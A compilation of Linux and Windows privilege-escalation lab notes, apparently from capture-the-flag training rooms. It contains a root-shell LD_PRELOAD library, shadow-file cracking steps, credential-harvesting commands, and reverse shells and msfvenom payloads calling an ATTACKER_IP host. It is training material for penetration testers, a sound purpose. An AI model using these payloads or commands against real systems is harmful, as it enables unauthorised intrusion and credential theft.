COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
master 1141 root 13u IPv4 20665 0t0 TCP localhost:smtp (LISTEN)
master 1141 root 14u IPv6 20666 0t0 TCP localhost:smtp (LISTEN)
find Searching the target system for important information and potential privilege escalation vectors can be fruitful. The built-in “find” command is useful and worth keeping in your arsenal.Below are some useful examples for the “find” command. Find files:
find . -name flag1.txt
: find the file named “flag1.txt” in the current directoryfind /home -name flag1.txt
: find the file names “flag1.txt” in the /home directoryfind / -type d -name config
: find the directory named config under “/”find / -type f -perm 0777
: find files with the 777 permissions (files readable, writable, and executable by all users)find / -perm a=x
: find executable filesfind /home -user frank
: find all files for user “frank” under “/home”find / -mtime 10
: find files that were modified in the last 10 daysfind / -atime 10
: find files that were accessed in the last 10 dayfind / -cmin -60
: find files changed within the last hour (60 minutes)find / -amin -60
: find files accesses within the last hour (60 minutes)find / -size 50M
: find files with a 50 MB size
This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size. The example above returns files that are larger than 100 MB. It is important to note that the “find” command tends to generate errors which sometimes makes the output hard to read. This is why it would be wise to use the “find” command with “-type f 2>/dev/null” to redirect errors to “/dev/null” and have a cleaner output (below). Folders and files that can be written to or executed from:
find / -writable -type d 2>/dev/null
: Find world-writeable foldersfind / -perm -222 -type d 2>/dev/null
: Find world-writeable foldersfind / -perm -o w -type d 2>/dev/null
: Find world-writeable folders The reason we see three different “find” commands that could potentially lead to the same result can be seen in the manual document. As you can see below, the perm parameter affects the way “find” works.find / -perm -o x -type d 2>/dev/null
: Find world-executable folders Find development tools and supported languages:find / -name perl*
find / -name python*
find / -name gcc*
Find specific file permissions: Below is a short example used to find files that have the SUID bit set. The SUID bit allows the file to run with the privilege level of the account that owns it, rather than the account which runs it. This allows for an interesting privilege escalation path,we will see in more details on task 6. The example below is given to complete the subject on the “find” command.find / -perm -u=s -type f 2>/dev/null
: Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.
General Linux Commands
As we are in the Linux realm, familiarity with Linux commands, in general, will be very useful. Please spend some time getting comfortable with commands such as find
, locate
, grep
, cut
, sort
, etc.
Automated Enumeration Tools
Several tools can help you save time during the enumeration process. These tools should only be used to save time knowing they may miss some privilege escalation vectors. Below is a list of popular Linux enumeration tools with links to their respective Github repositories.
The target system’s environment will influence the tool you will be able to use. For example, you will not be able to run a tool written in Python if it is not installed on the target system. This is why it would be better to be familiar with a few rather than having a single go-to tool.
- LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- LinEnum: https://github.com/rebootuser/LinEnum
- LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
- Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
- Linux Priv Checker: https://github.com/linted/linuxprivchecker
Privilege Escalation: Kernel Exploits
Privilege escalation ideally leads to root privileges. This can sometimes be achieved simply by exploiting an existing vulnerability, or in some cases by accessing another user account that has more privileges, information, or access.
Unless a single vulnerability leads to a root shell, the privilege escalation process will rely on misconfigurations and lax permissions.
The kernel on Linux systems manages the communication between components such as the memory on the system and applications. This critical function requires the kernel to have specific privileges; thus, a successful exploit will potentially lead to root privileges.
The Kernel exploit methodology is simple;
- Identify the kernel version
- Search and find an exploit code for the kernel version of the target system
- Run the exploit
Although it looks simple, please remember that a failed kernel exploit can lead to a system crash. Make sure this potential outcome is acceptable within the scope of your penetration testing engagement before attempting a kernel exploit.
Research sources:
- Based on your findings, you can use Google to search for an existing exploit code.
- Sources such as https://www.linuxkernelcves.com/cves can also be useful.
- Another alternative would be to use a script like LES (Linux Exploit Suggester) but remember that these tools can generate false positives (report a kernel vulnerability that does not affect the target system) or false negatives (not report any kernel vulnerabilities although the kernel is vulnerable).
Hints/Notes:
- Being too specific about the kernel version when searching for exploits on Google, Exploit-db, or searchsploit
- Be sure you understand how the exploit code works BEFORE you launch it. Some exploit codes can make changes on the operating system that would make them unsecured in further use or make irreversible changes to the system, creating problems later. Of course, these may not be great concerns within a lab or CTF environment, but these are absolute no-nos during a real penetration testing engagement.
- Some exploits may require further interaction once they are run. Read all comments and instructions provided with the exploit code.
- You can transfer the exploit code from your machine to the target system using the
SimpleHTTPServer
Python module andwget
respectively.
Privilege Escalation: Sudo
The sudo command, by default, allows you to run a program with root privileges. Under some conditions, system administrators may need to give regular users some flexibility on their privileges. For example, a junior SOC analyst may need to use Nmap regularly but would not be cleared for full root access. In this situation, the system administrator can allow this user to only run Nmap with root privileges while keeping its regular privilege level throughout the rest of the system.
Any user can check its current situation related to root privileges using the sudo -l
command.
https://gtfobins.github.io/ is a valuable source that provides information on how any program, on which you may have sudo rights, can be used.
Leverage application functions Some applications will not have a known exploit within this context. Such an application you may see is the Apache2 server.
In this case, we can use a "hack" to leak information leveraging a function of the application. As you can see below, Apache2 has an option that supports loading alternative configuration files (-f
: specify an alternate ServerConfigFile).
Loading the /etc/shadow
file using this option will result in an error message that includes the first line of the /etc/shadow
file.
Leverage LD_PRELOAD On some systems, you may see the LD_PRELOAD environment option.
LD_PRELOAD is a function that allows any program to use shared libraries. This blog post will give you an idea about the capabilities of LD_PRELOAD. If the "env_keep" option is enabled we can generate a shared library which will be loaded and executed before the program is run. Please note the LD_PRELOAD option will be ignored if the real user ID is different from the effective user ID.
The steps of this privilege escalation vector can be summarized as follows;
- Check for LD_PRELOAD (with the env_keep option)
- Write a simple C code compiled as a share object (.so extension) file
- Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file
The C code will simply spawn a root shell and can be written as follows;
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
We can save this code as shell.c and compile it using gcc into a shared object file using the following parameters;
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
We can now use this shared object file when launching any program our user can run with sudo. In our case, Apache2, find, or almost any of the programs we can run with sudo can be used.
We need to run the program by specifying the LD_PRELOAD option, as follows;
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
This will result in a shell spawn with root privileges.
Privilege Escalation: SUID
Much of Linux privilege controls rely on controlling the users and files interactions. This is done with permissions. By now, you know that files can have read, write, and execute permissions. These are given to users within their privilege levels. This changes with SUID (Set-user Identification) and SGID (Set-group Identification). These allow files to be executed with the permission level of the file owner or the group owner, respectively.
You will notice these files have an “s” bit set showing their special permission level.
find / -type f -perm -04000 -ls 2>/dev/null
will list files that have SUID or SGID bits set.
A good practice would be to compare executables on this list with GTFOBins (https://gtfobins.github.io).
Clicking on the SUID button will filter binaries known to be exploitable when the SUID bit is set (you can also use this link for a pre-filtered list https://gtfobins.github.io/#+suid).
The list above shows that nano has the SUID bit set. Unfortunately, GTFObins does not provide us with an easy win. Typical to real-life privilege escalation scenarios, we will need to find intermediate steps that will help us leverage whatever minuscule finding we have.
The SUID bit set for the nano text editor allows us to create, edit and read files using the file owner’s privilege. Nano is owned by root, which probably means that we can read and edit files at a higher privilege level than our current user has. At this stage, we have two basic options for privilege escalation: reading the /etc/shadow
file or adding our user to /etc/passwd
.
Below are simple steps using both vectors.
reading the /etc/shadow
file
We see that the nano text editor has the SUID bit set by running the find / -type f -perm -04000 -ls 2>/dev/null
command.
nano /etc/shadow
will print the contents of the /etc/shadow
file. We can now use the unshadow tool to create a file crackable by John the Ripper. To achieve this, unshadow needs both the /etc/shadow
and /etc/passwd
files.
The unshadow tool’s usage can be seen below;
unshadow passwd.txt shadow.txt > passwords.txt
With the correct wordlist and a little luck, John the Ripper can return one or several passwords in cleartext.
The other option would be to add a new user that has root privileges. This would help us circumvent the tedious process of password cracking. Below is an easy way to do it:
We will need the hash value of the password we want the new user to have. This can be done quickly using the openssl tool on Kali Linux.
We will then add this password with a username to the /etc/passwd
file.
Once our user is added (please note how root:/bin/bash
was used to provide a root shell) we will need to switch to this user and hopefully should have root privileges.
Privilege Escalation: Capabilities
Another method system administrators can use to increase the privilege level of a process or binary is “Capabilities”. Capabilities help manage privileges at a more granular level. For example, if the SOC analyst needs to use a tool that needs to initiate socket connections, a regular user would not be able to do that. If the system administrator does not want to give this user higher privileges, they can change the capabilities of the binary. As a result, the binary would get through its task without needing a higher privilege user. The capabilities man page provides detailed information on its usage and options.
We can use the getcap
tool to list enabled capabilities.
When run as an unprivileged user, getcap -r /
will generate a huge amount of errors, so it is good practice to redirect the error messages to /dev/null.
Please note that neither vim nor its copy has the SUID bit set. This privilege escalation vector is therefore not discoverable when enumerating files looking for SUID. GTFObins has a good list of binaries that can be leveraged for privilege escalation if we find any set capabilities.
We notice that vim can be used with the following command and payload:
vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
This will launch a root shell as seen below;
Privilege Escalation: Cron Jobs
Cron jobs are used to run scripts or binaries at specific times. By default, they run with the privilege of their owners and not the current user. While properly configured cron jobs are not inherently vulnerable, they can provide a privilege escalation vector under some conditions. The idea is quite simple; if there is a scheduled task that runs with root privileges and we can change the script that will be run, then our script will run with root privileges.
Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run.
Each user on the system have their crontab file and can run specific tasks whether they are logged in or not. As you can expect, our goal will be to find a cron job set by root and have it run our script, ideally a shell.
Any user can read the file keeping system-wide cron jobs under /etc/crontab
While CTF machines can have cron jobs running every minute or every 5 minutes, you will more often see tasks that run daily, weekly or monthly in penetration test engagements.
You can see the backup.sh
script was configured to run every minute. The content of the file shows a simple script that creates a backup of the prices.xls file.
As our current user can access this script, we can easily modify it to create a reverse shell, hopefully with root privileges.
The script will use the tools available on the target system to launch a reverse shell. Two points to note;
- The command syntax will vary depending on the available tools. (e.g.
nc
will probably not support the-e
option you may have seen used in other cases) - We should always prefer to start reverse shells, as we not want to compromise the system integrity during a real penetration testing engagement.
The file should look like this;
We will now run a listener on our attacking machine to receive the incoming connection.
Crontab is always worth checking as it can sometimes lead to easy privilege escalation vectors. The following scenario is not uncommon in companies that do not have a certain cyber security maturity level:
- System administrators need to run a script at regular intervals.
- They create a cron job to do this
- After a while, the script becomes useless, and they delete it
- They do not clean the relevant cron job
This change management issue leads to a potential exploit leveraging cron jobs.
The example above shows a similar situation where the antivirus.sh script was deleted, but the cron job still exists. If the full path of the script is not defined (as it was done for the backup.sh script), cron will refer to the paths listed under the PATH variable in the /etc/crontab file. In this case, we should be able to create a script named “antivirus.sh” under our user’s home folder and it should be run by the cron job. The file on the target system should look familiar:
The incoming reverse shell connection has root privileges:
In the odd event you find an existing script or task attached to a cron job, it is always worth spending time to understand the function of the script and how any tool is used within the context. For example, tar, 7z, rsync, etc., can be exploited using their wildcard feature.
Privilege Escalation: PATH
If a folder for which your user has write permission is located in the path, you could potentially hijack an application to run a script. PATH in Linux is an environmental variable that tells the operating system where to search for executables. For any command that is not built into the shell or that is not defined with an absolute path, Linux will start searching in folders defined under PATH. (PATH is the environmental variable were are talking about here, path is the location of a file).
Typically the PATH will look like this:
If we type “thm” to the command line, these are the locations Linux will look in for an executable called thm. The scenario below will give you a better idea of how this can be leveraged to increase our privilege level. As you will see, this depends entirely on the existing configuration of the target system, so be sure you can answer the questions below before trying this.
- What folders are located under $PATH
- Does your current user have write privileges for any of these folders?
- Can you modify $PATH?
- Is there a script/application you can start that will be affected by this vulnerability?
For demo purposes, we will use the script below:
This script tries to launch a system binary called “thm” but the example can easily be replicated with any binary.
We compile this into an executable and set the SUID bit.
Our user now has access to the “path” script with SUID bit set.
Once executed “path” will look for an executable named “thm” inside folders listed under PATH.
If any writable folder is listed under PATH we could create a binary named thm under that directory and have our “path” script run it. As the SUID bit is set, this binary will run with root privilege
A simple search for writable folders can done using the “find / -writable 2>/dev/null
” command. The output of this command can be cleaned using a simple cut and sort sequence.
Some CTF scenarios can present different folders but a regular system would output something like we see above.Comparing this with PATH will help us find folders we could use.
We see a number of folders under /usr, thus it could be easier to run our writable folder search once more to cover subfolders.
An alternative could be the command below.find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
We have added “grep -v proc” to get rid of the many results related to running processes.
Unfortunately, subfolders under /usr are not writable.
The folder that will be easier to write to is probably /tmp. At this point because /tmp is not present in PATH so we will need to add it. As we can see below, the “export PATH=/tmp:$PATH
” command accomplishes this.
At this point the path script will also look under the /tmp folder for an executable named “thm”.Creating this command is fairly easy by copying /bin/bash as “thm” under the /tmp folder.
We have given executable rights to our copy of /bin/bash, please note that at this point it will run with our user’s right. What makes a privilege escalation possible within this context is that the path script runs with root privileges.
Privilege Escalation: NFS
Privilege escalation vectors are not confined to internal access. Shared folders and remote management interfaces such as SSH and Telnet can also help you gain root access on the target system. Some cases will also require using both vectors, e.g. finding a root SSH private key on the target system and connecting via SSH with root privileges instead of trying to increase your current user’s privilege level.
Another vector that is more relevant to CTFs and exams is a misconfigured network shell. This vector can sometimes be seen during penetration testing engagements when a network backup system is present.
NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can usually be read by users.
The critical element for this privilege escalation vector is the no_root_squash
option you can see above. By default, NFS will change the root user to nfsnobody and strip any file from operating with root privileges. If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system.
We will start by enumerating mountable shares from our attacking machine.
We will mount one of the no_root_squash
shares to our attacking machine and start building our executable.
As we can set SUID bits, a simple executable that will run /bin/bash on the target system will do the job.
Once we compile the code we will set the SUID bit.
You will see below that both files (nfs.c and nfs are present on the target system. We have worked on the mounted share so there was no need to transfer them).
Notice the nfs executable has the SUID bit set on the target system and runs with root privileges.
Windows Privilege Escalation
During a penetration test, you will often have access to some Windows hosts with an unprivileged user. Unprivileged users will hold limited access, including their files and folders only, and have no means to perform administrative tasks on the host, preventing you from having complete control over your target.
This room covers fundamental techniques that attackers can use to elevate privileges in a Windows environment, allowing you to use any initial unprivileged foothold on a host to escalate to an administrator account, where possible.
Windows Privilege Escalation
Simply put, privilege escalation consists of using given access to a host with "user A" and leveraging it to gain access to "user B" by abusing a weakness in the target system. While we will usually want "user B" to have administrative rights, there might be situations where we'll need to escalate into other unprivileged accounts before actually getting administrative privileges.
Gaining access to different accounts can be as simple as finding credentials in text files or spreadsheets left unsecured by some careless user, but that won't always be the case. Depending on the situation, we might need to abuse some of the following weaknesses:
- Misconfigurations on Windows services or scheduled tasks
- Excessive privileges assigned to our account
- Vulnerable software
- Missing Windows security patches
Before jumping into the actual techniques, let's look at the different account types on a Windows system.
Windows Users Windows systems mainly have two kinds of users. Depending on their access levels, we can categorise a user in one of the following groups:
Windows Users | Description |
---|---|
Administrators | These users have the most privileges. They can change any system configuration parameter and access any file in the system. |
Standard Users | These users can access the computer but only perform limited tasks. Typically these users can not make permanent or essential changes to the system and are limited to their files. |
Any user with administrative privileges will be part of the Administrators group. On the other hand, standard users are part of the Users group.
In addition to that, you will usually hear about some special built-in accounts used by the operating system in the context of privilege escalation:
Accounts | Description |
---|---|
SYSTEM / LocalSystem | An account used by the operating system to perform internal tasks. It has full access to all files and resources available on the host with even higher privileges than administrators. |
Local Service | Default account used to run Windows services with "minimum" privileges. It will use anonymous connections over the network. |
Network Service | Default account used to run Windows services with "minimum" privileges. It will use the computer credentials to authenticate through the network. |
These accounts are created and managed by Windows, and you won't be able to use them as other regular accounts. Still, in some situations, you may gain their privileges due to exploiting specific services.
Harvesting Passwords from Usual Spots
The easiest way to gain access to another user is to gather credentials from a compromised machine. Such credentials could exist for many reasons, including a careless user leaving them around in plaintext files; or even stored by some software like browsers or email clients.
Unattended Windows Installations
When installing Windows on a large number of hosts, administrators may use Windows Deployment Services, which allows for a single operating system image to be deployed to several hosts through the network. These kinds of installations are referred to as unattended installations as they don't require user interaction. Such installations require the use of an administrator account to perform the initial setup, which might end up being stored in the machine in the following locations:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
As part of these files, you might encounter credentials:
<Credentials> <Username>Administrator</Username> <Domain>thm.local</Domain> <Password>MyPassword123</Password> </Credentials>
Powershell History
Whenever a user runs a command using Powershell, it gets stored into a file that keeps a memory of past commands. This is useful for repeating commands you have used before quickly. If a user runs a command that includes a password directly as part of the Powershell command line, it can later be retrieved by using the following command from a cmd.exe
prompt:
type %userprofile%\AppDatypeta\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Note: The command above will only work from cmd.exe, as Powershell won't recognize %userprofile%
as an environment variable. To read the file from Powershell, you'd have to replace %userprofile%
with $Env:userprofile
.
Saved Windows Credentials
Windows allows us to use other users' credentials. This function also gives the option to save these credentials on the system. The command below will list saved credentials:
cmdkey /list
While you can't see the actual passwords, if you notice any credentials worth trying, you can use them with the runas
command and the /savecred
option, as seen below.
runas /savecred /user:admin cmd.exe
IIS Configuration
Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called web.config
and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
Here is a quick way to find database connection strings on the file:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Retrieve Credentials from Software: PuTTY
PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection's parameters every single time, users can store sessions where the IP, user and other configurations can be stored for later use. While PuTTY won't allow users to store their SSH password, it will store proxy configurations that include cleartext authentication credentials.
To retrieve the stored proxy credentials, you can search under the following registry key for ProxyPassword with the following command:
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
Note: Simon Tatham is the creator of PuTTY (and his name is part of the path), not the username for which we are retrieving the password. The stored proxy username should also be visible after running the command above.
Just as putty stores credentials, any software that stores passwords, including browsers, email clients, FTP clients, SSH clients, VNC software and others, will have methods to recover any passwords the user has saved.
Other Quick Wins
Privilege escalation is not always a challenge. Some misconfigurations can allow you to obtain higher privileged user access and, in some cases, even administrator access. It would help if you considered these to belong more to the realm of CTF events rather than scenarios you will encounter during real penetration testing engagements. However, if none of the previously mentioned methods works, you can always go back to these.
Scheduled Tasks
Looking into scheduled tasks on the target system, you may see a scheduled task that either lost its binary or it's using a binary you can modify.
Scheduled tasks can be listed from the command line using the schtasks
command without any options. To retrieve detailed information about any of the services, you can use a command like the following one:
C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName: THM-PC1
TaskName: \vulntask
Task To Run: C:\tasks\schtask.bat
Run As User: taskusr1
You will get lots of information about the task, but what matters for us is the "Task to Run" parameter which indicates what gets executed by the scheduled task, and the "Run As User" parameter, which shows the user that will be used to execute the task.
If our current user can modify or overwrite the "Task to Run" executable, we can control what gets executed by the taskusr1 user, resulting in a simple privilege escalation. To check the file permissions on the executable, we use icacls
:
C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
As can be seen in the result, the BUILTIN\Users
group has full access (F) over the task's binary. This means we can modify the .bat
file and insert any payload we like. For your convenience, nc64.exe
can be found on C:\tools
. Let's change the bat file to spawn a reverse shell:
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
We then start a listener on the attacker machine on the same port we indicated on our reverse shell:
nc -lvp 4444
The next time the scheduled task runs, you should receive the reverse shell with taskusr1 privileges. While you probably wouldn't be able to start the task in a real scenario and would have to wait for the scheduled task to trigger, we have provided your user with permissions to start the task manually to save you some time. We can run the task with the following command:
C:\> schtasks /run /tn vulntask
And you will receive the reverse shell with taskusr1 privileges as expected:
user@attackerpc$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.175.90 50649
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
wprivesc1\taskusr1
Go to taskusr1 desktop to retrieve a flag. Don't forget to input the flag at the end of this task.
AlwaysInstallElevated
Windows installer files (also known as .msi
files) are used to install applications on the system. They usually run with the privilege level of the user that starts it. However, these can be configured to run with higher privileges from any user account (even unprivileged ones). This could potentially allow us to generate a malicious MSI file that would run with admin privileges.
This method requires two registry values to be set. You can query these from the command line using the commands below.
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
To be able to exploit this vulnerability, both should be set. Otherwise, exploitation will not be possible. If these are set, you can generate a malicious .msi
file using msfvenom
, as seen below:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_10.10.208.252 LPORT=LOCAL_PORT -f msi -o malicious.msi
As this is a reverse shell, you should also run the Metasploit Handler module configured accordingly. Once you have transferred the file you have created, you can run the installer with the command below and receive the reverse shell:
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi
Abusing Service Misconfigurations
Windows Services
Windows services are managed by the Service Control Manager (SCM). The SCM is a process in charge of managing the state of services as needed, checking the current status of any given service and generally providing a way to configure services.
Each service on a Windows machine will have an associated executable which will be run by the SCM whenever a service is started. It is important to note that service executables implement special functions to be able to communicate with the SCM, and therefore not any executable can be started as a service successfully. Each service also specifies the user account under which the service will run.
To better understand the structure of a service, let's check the apphostsvc service configuration with the sc qc
command:
C:\> sc qc apphostsvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: apphostsvc TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Application Host Helper Service DEPENDENCIES : SERVICE_START_NAME : localSystem
Here we can see that the associated executable is specified through the BINARY_PATH_NAME parameter, and the account used to run the service is shown on the SERVICE_START_NAME parameter.
Services have a Discretionary Access Control List (DACL), which indicates who has permission to start, stop, pause, query status, query configuration, or reconfigure the service, amongst other privileges. The DACL can be seen from Process Hacker (available on your machine's desktop):
All of the services configurations are stored on the registry under HKLM\SYSTEM\CurrentControlSet\Services\
:
A subkey exists for every service in the system. Again, we can see the associated executable on the ImagePath value and the account used to start the service on the ObjectName value. If a DACL has been configured for the service, it will be stored in a subkey called Security. As you have guessed by now, only administrators can modify such registry entries by default.
Insecure Permissions on Service Executable
If the executable associated with a service has weak permissions that allow an attacker to modify or replace it, the attacker can gain the privileges of the service's account trivially.
To understand how this works, let's look at a vulnerability found on Splinterware System Scheduler. To start, we will query the service configuration using sc
:
C:\> sc qc WindowsScheduler [SC] QueryServiceConfig SUCCESS SERVICE_NAME: windowsscheduler TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : System Scheduler Service DEPENDENCIES : SERVICE_START_NAME : .\svcuser1
We can see that the service installed by the vulnerable software runs as svcuser1 and the executable associated with the service is in C:\Progra~2\System~1\WService.exe
. We then proceed to check the permissions on the executable:
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) Successfully processed 1 files; Failed processing 0 files
And here we have something interesting. The Everyone group has modify permissions (M) on the service's executable. This means we can simply overwrite it with any payload of our preference, and the service will execute it with the privileges of the configured user account.
Let's generate an exe-service payload using msfvenom and serve it through a python webserver:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe user@attackerpc$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
We can then pull the payload from Powershell with the following command:
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
Once the payload is in the Windows server, we proceed to replace the service executable with our payload. Since we need another user to execute our payload, we'll want to grant full permissions to the Everyone group as well:
C:\> cd C:\PROGRA~2\SYSTEM~1\ C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp 1 file(s) moved. C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe 1 file(s) moved. C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F Successfully processed 1 files.
We start a reverse listener on our attacker machine:
user@attackerpc$ nc -lvp 4445
And finally, restart the service. While in a normal scenario, you would likely have to wait for a service restart, you have been assigned privileges to restart the service yourself to save you some time. Use the following commands from a cmd.exe command prompt:
C:\> sc stop windowsscheduler C:\> sc start windowsscheduler
Note: PowerShell has sc
as an alias to Set-Content
, therefore you need to use sc.exe
in order to control services with PowerShell this way.
As a result, you'll get a reverse shell with svcusr1 privileges:
user@attackerpc$ nc -lvp 4445 Listening on 0.0.0.0 4445 Connection received on 10.10.175.90 50649 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami wprivesc1\svcusr1
Go to svcusr1 desktop to retrieve a flag. Don't forget to input the flag at the end of this task.
Unquoted Service Paths
When we can't directly write into service executables as before, there might still be a chance to force a service into running arbitrary executables by using a rather obscure feature.
When working with Windows services, a very particular behaviour occurs when the service is configured to point to an "unquoted" executable. By unquoted, we mean that the path of the associated executable isn't properly quoted to account for spaces on the command.
As an example, let's look at the difference between two services (these services are used as examples only and might not be available in your machine). The first service will use a proper quotation so that the SCM knows without a doubt that it has to execute the binary file pointed by "C:\Program Files\RealVNC\VNC Server\vncserver.exe"
, followed by the given parameters:
C:\> sc qc "vncserver" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: vncserver TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : "C:\Program Files\RealVNC\VNC Server\vncserver.exe" -service LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : VNC Server DEPENDENCIES : SERVICE_START_NAME : LocalSystem
Remember: PowerShell has 'sc' as an alias to 'Set-Content', therefore you need to use 'sc.exe' to control services if you are in a PowerShell prompt. Now let's look at another service without proper quotation:
C:\> sc qc "disk sorter enterprise" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: disk sorter enterprise TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Disk Sorter Enterprise DEPENDENCIES : SERVICE_START_NAME : .\svcusr2
When the SCM tries to execute the associated binary, a problem arises. Since there are spaces on the name of the "Disk Sorter Enterprise" folder, the command becomes ambiguous, and the SCM doesn't know which of the following you are trying to execute:
Command | Argument 1 | Argument2 |
---|---|---|
C:\MyPrograms\Disk.exe | Sorter | Enterprise\bin\disksrs.exe |
C:\MyPrograms\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |
This has to do with how the command prompt parses a command. Usually, when you send a command, spaces are used as argument separators unless they are part of a quoted string. This means the "right" interpretation of the unquoted command would be to execute C:\\MyPrograms\\Disk.exe
and take the rest as arguments.
Instead of failing as it probably should, SCM tries to help the user and starts searching for each of the binaries in the order shown in the table:
- First, search for
C:\\MyPrograms\\Disk.exe
. If it exists, the service will run this executable. - If the latter doesn't exist, it will then search for
C:\\MyPrograms\\Disk Sorter.exe
. If it exists, the service will run this executable. - If the latter doesn't exist, it will then search for
C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe
. This option is expected to succeed and will typically be run in a default installation.
From this behaviour, the problem becomes evident. If an attacker creates any of the executables that are searched for before the expected service executable, they can force the service to run an arbitrary executable.
While this sounds trivial, most of the service executables will be installed under C:\Program Files
or C:\Program Files (x86)
by default, which isn't writable by unprivileged users. This prevents any vulnerable service from being exploited. There are exceptions to this rule:
- Some installers change the permissions on the installed folders, making the services vulnerable.
- An administrator might decide to install the service binaries in a non-default path. If such a path is world-writable, the vulnerability can be exploited.
In our case, the Administrator installed the Disk Sorter binaries under c:\MyPrograms
. By default, this inherits the permissions of the C:\
directory, which allows any user to create files and folders in it. We can check this using icacls
:
C:\>icacls c:\MyPrograms c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Administrators:(I)(OI)(CI)(F) BUILTIN\Users:(I)(OI)(CI)(RX) BUILTIN\Users:(I)(CI)(AD) BUILTIN\Users:(I)(CI)(WD) CREATOR OWNER:(I)(OI)(CI)(IO)(F) Successfully processed 1 files; Failed processing 0 files
The BUILTIN\\Users
group has AD and WD privileges, allowing the user to create subdirectories and files, respectively.
The process of creating an exe-service payload with msfvenom and transferring it to the target host is the same as before, so feel free to create the following payload and upload it to the server as before. We will also start a listener to receive the reverse shell when it gets executed:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe user@attackerpc$ nc -lvp 4446
Once the payload is in the server, move it to any of the locations where hijacking might occur. In this case, we will be moving our payload to C:\MyPrograms\Disk.exe
. We will also grant Everyone full permissions on the file to make sure it can be executed by the service:
